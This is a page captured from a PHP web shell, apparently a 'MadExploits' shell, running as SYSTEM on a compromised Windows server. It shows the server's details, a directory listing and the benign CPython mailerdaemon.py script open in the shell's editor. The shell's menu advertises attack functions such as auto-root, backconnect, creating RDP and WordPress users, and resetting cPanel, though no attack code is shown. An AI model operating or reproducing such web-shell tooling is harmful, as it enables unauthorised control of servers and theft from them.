Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
python /
python-3.10 /
Tools /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxrwxrwx
2to3.py
101
B
-rw-rw-rw-
abitype.py
5.64
KB
-rw-rw-rw-
analyze_dxp.py
4.21
KB
-rw-rw-rw-
byext.py
3.94
KB
-rw-rw-rw-
byteyears.py
1.67
KB
-rw-rw-rw-
checkpip.py
825
B
-rw-rw-rw-
cleanfuture.py
8.69
KB
-rw-rw-rw-
combinerefs.py
4.48
KB
-rw-rw-rw-
copytime.py
689
B
-rw-rw-rw-
crlf.py
655
B
-rw-rw-rw-
db2pickle.py
3.68
KB
-rw-rw-rw-
diff.py
2.26
KB
-rw-rw-rw-
dutree.py
1.66
KB
-rw-rw-rw-
eptags.py
1.6
KB
-rw-rw-rw-
find-uname.py
1.22
KB
-rw-rw-rw-
find_recursionlimit.py
4.03
KB
-rw-rw-rw-
finddiv.py
2.56
KB
-rw-rw-rw-
findlinksto.py
1.09
KB
-rw-rw-rw-
findnocoding.py
2.99
KB
-rw-rw-rw-
fixcid.py
10.24
KB
-rw-rw-rw-
fixdiv.py
14.28
KB
-rw-rw-rw-
fixheader.py
1.38
KB
-rw-rw-rw-
fixnotice.py
3.06
KB
-rw-rw-rw-
fixps.py
923
B
-rw-rw-rw-
generate_opcode_h.py
2.25
KB
-rw-rw-rw-
generate_stdlib_module_names.p...
4.7
KB
-rw-rw-rw-
generate_token.py
7.08
KB
-rw-rw-rw-
get-remote-certificate.py
2.7
KB
-rw-rw-rw-
google.py
526
B
-rw-rw-rw-
gprof2html.py
2.33
KB
-rw-rw-rw-
highlight.py
9.21
KB
-rw-rw-rw-
ifdef.py
3.73
KB
-rw-rw-rw-
import_diagnostics.py
1.01
KB
-rw-rw-rw-
lfcr.py
664
B
-rw-rw-rw-
linktree.py
2.46
KB
-rw-rw-rw-
lll.py
775
B
-rw-rw-rw-
mailerdaemon.py
8.09
KB
-rw-rw-rw-
make_ctype.py
2.32
KB
-rw-rw-rw-
md5sum.py
2.55
KB
-rw-rw-rw-
mkreal.py
1.66
KB
-rw-rw-rw-
ndiff.py
3.86
KB
-rw-rw-rw-
nm2def.py
2.53
KB
-rw-rw-rw-
objgraph.py
6.01
KB
-rw-rw-rw-
parse_html5_entities.py
4.01
KB
-rw-rw-rw-
parseentities.py
1.76
KB
-rw-rw-rw-
patchcheck.py
10.81
KB
-rw-rw-rw-
pathfix.py
6.85
KB
-rw-rw-rw-
pdeps.py
4.07
KB
-rw-rw-rw-
pep384_macrocheck.py
4.75
KB
-rw-rw-rw-
pickle2db.py
4.07
KB
-rw-rw-rw-
pindent.py
17.22
KB
-rw-rw-rw-
ptags.py
1.34
KB
-rw-rw-rw-
pydoc3.py
85
B
-rw-rw-rw-
pysource.py
3.9
KB
-rw-rw-rw-
reindent-rst.py
293
B
-rw-rw-rw-
reindent.py
11.7
KB
-rw-rw-rw-
rgrep.py
1.61
KB
-rw-rw-rw-
run_tests.py
1.83
KB
-rw-rw-rw-
serve.py
1.23
KB
-rw-rw-rw-
smelly.py
5.07
KB
-rw-rw-rw-
stable_abi.py
20.91
KB
-rw-rw-rw-
suff.py
536
B
-rw-rw-rw-
texi2html.py
70.75
KB
-rw-rw-rw-
untabify.py
1.32
KB
-rw-rw-rw-
update_file.py
790
B
-rw-rw-rw-
var_access_benchmark.py
11.92
KB
-rw-rw-rw-
verify_ensurepip_wheels.py
3.21
KB
-rw-rw-rw-
which.py
1.71
KB
-rw-rw-rw-
win_add2path.py
1.68
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mailerdaemon.py
#!/usr/bin/env python3 """Classes to parse mailer-daemon messages.""" import calendar import email.message import re import os import sys class Unparseable(Exception): pass class ErrorMessage(email.message.Message): def __init__(self): email.message.Message.__init__(self) self.sub = '' def is_warning(self): sub = self.get('Subject') if not sub: return 0 sub = sub.lower() if sub.startswith('waiting mail'): return 1 if 'warning' in sub: return 1 self.sub = sub return 0 def get_errors(self): for p in EMPARSERS: self.rewindbody() try: return p(self.fp, self.sub) except Unparseable: pass raise Unparseable # List of re's or tuples of re's. # If a re, it should contain at least a group (?P<email>...) which # should refer to the email address. The re can also contain a group # (?P<reason>...) which should refer to the reason (error message). # If no reason is present, the emparse_list_reason list is used to # find a reason. # If a tuple, the tuple should contain 2 re's. The first re finds a # location, the second re is repeated one or more times to find # multiple email addresses. The second re is matched (not searched) # where the previous match ended. # The re's are compiled using the re module. emparse_list_list = [ 'error: (?P<reason>unresolvable): (?P<email>.+)', ('----- The following addresses had permanent fatal errors -----\n', '(?P<email>[^ \n].*)\n( .*\n)?'), 'remote execution.*\n.*rmail (?P<email>.+)', ('The following recipients did not receive your message:\n\n', ' +(?P<email>.*)\n(The following recipients did not receive your message:\n\n)?'), '------- Failure Reasons --------\n\n(?P<reason>.*)\n(?P<email>.*)', '^<(?P<email>.*)>:\n(?P<reason>.*)', '^(?P<reason>User mailbox exceeds allowed size): (?P<email>.+)', '^5\\d{2} <(?P<email>[^\n>]+)>\\.\\.\\. (?P<reason>.+)', '^Original-Recipient: rfc822;(?P<email>.*)', '^did not reach the following recipient\\(s\\):\n\n(?P<email>.*) on .*\n +(?P<reason>.*)', '^ <(?P<email>[^\n>]+)> \\.\\.\\. (?P<reason>.*)', '^Report on your message to: (?P<email>.*)\nReason: (?P<reason>.*)', '^Your message was not delivered to +(?P<email>.*)\n +for the following reason:\n +(?P<reason>.*)', '^ was not +(?P<email>[^ \n].*?) *\n.*\n.*\n.*\n because:.*\n +(?P<reason>[^ \n].*?) *\n', ] # compile the re's in the list and store them in-place. for i in range(len(emparse_list_list)): x = emparse_list_list[i] if type(x) is type(''): x = re.compile(x, re.MULTILINE) else: xl = [] for x in x: xl.append(re.compile(x, re.MULTILINE)) x = tuple(xl) del xl emparse_list_list[i] = x del x del i # list of re's used to find reasons (error messages). # if a string, "<>" is replaced by a copy of the email address. # The expressions are searched for in order. After the first match, # no more expressions are searched for. So, order is important. emparse_list_reason = [ r'^5\d{2} <>\.\.\. (?P<reason>.*)', r'<>\.\.\. (?P<reason>.*)', re.compile(r'^<<< 5\d{2} (?P<reason>.*)', re.MULTILINE), re.compile('===== stderr was =====\nrmail: (?P<reason>.*)'), re.compile('^Diagnostic-Code: (?P<reason>.*)', re.MULTILINE), ] emparse_list_from = re.compile('^From:', re.IGNORECASE|re.MULTILINE) def emparse_list(fp, sub): data = fp.read() res = emparse_list_from.search(data) if res is None: from_index = len(data) else: from_index = res.start(0) errors = [] emails = [] reason = None for regexp in emparse_list_list: if type(regexp) is type(()): res = regexp[0].search(data, 0, from_index) if res is not None: try: reason = res.group('reason') except IndexError: pass while 1: res = regexp[1].match(data, res.end(0), from_index) if res is None: break emails.append(res.group('email')) break else: res = regexp.search(data, 0, from_index) if res is not None: emails.append(res.group('email')) try: reason = res.group('reason') except IndexError: pass break if not emails: raise Unparseable if not reason: reason = sub if reason[:15] == 'returned mail: ': reason = reason[15:] for regexp in emparse_list_reason: if type(regexp) is type(''): for i in range(len(emails)-1,-1,-1): email = emails[i] exp = re.compile(re.escape(email).join(regexp.split('<>')), re.MULTILINE) res = exp.search(data) if res is not None: errors.append(' '.join((email.strip()+': '+res.group('reason')).split())) del emails[i] continue res = regexp.search(data) if res is not None: reason = res.group('reason') break for email in emails: errors.append(' '.join((email.strip()+': '+reason).split())) return errors EMPARSERS = [emparse_list] def sort_numeric(a, b): a = int(a) b = int(b) if a < b: return -1 elif a > b: return 1 else: return 0 def parsedir(dir, modify): os.chdir(dir) pat = re.compile('^[0-9]*$') errordict = {} errorfirst = {} errorlast = {} nok = nwarn = nbad = 0 # find all numeric file names and sort them files = list(filter(lambda fn, pat=pat: pat.match(fn) is not None, os.listdir('.'))) files.sort(sort_numeric) for fn in files: # Lets try to parse the file. fp = open(fn) m = email.message_from_file(fp, _class=ErrorMessage) sender = m.getaddr('From') print('%s\t%-40s\t'%(fn, sender[1]), end=' ') if m.is_warning(): fp.close() print('warning only') nwarn = nwarn + 1 if modify: os.rename(fn, ','+fn) ## os.unlink(fn) continue try: errors = m.get_errors() except Unparseable: print('** Not parseable') nbad = nbad + 1 fp.close() continue print(len(errors), 'errors') # Remember them for e in errors: try: mm, dd = m.getdate('date')[1:1+2] date = '%s %02d' % (calendar.month_abbr[mm], dd) except: date = '??????' if e not in errordict: errordict[e] = 1 errorfirst[e] = '%s (%s)' % (fn, date) else: errordict[e] = errordict[e] + 1 errorlast[e] = '%s (%s)' % (fn, date) fp.close() nok = nok + 1 if modify: os.rename(fn, ','+fn) ## os.unlink(fn) print('--------------') print(nok, 'files parsed,',nwarn,'files warning-only,', end=' ') print(nbad,'files unparseable') print('--------------') list = [] for e in errordict.keys(): list.append((errordict[e], errorfirst[e], errorlast[e], e)) list.sort() for num, first, last, e in list: print('%d %s - %s\t%s' % (num, first, last, e)) def main(): modify = 0 if len(sys.argv) > 1 and sys.argv[1] == '-d': modify = 1 del sys.argv[1] if len(sys.argv) > 1: for folder in sys.argv[1:]: parsedir(folder, modify) else: parsedir('/ufs/jack/Mail/errorsinbox', modify) if __name__ == '__main__' or sys.argv[0] == __name__: main()
Close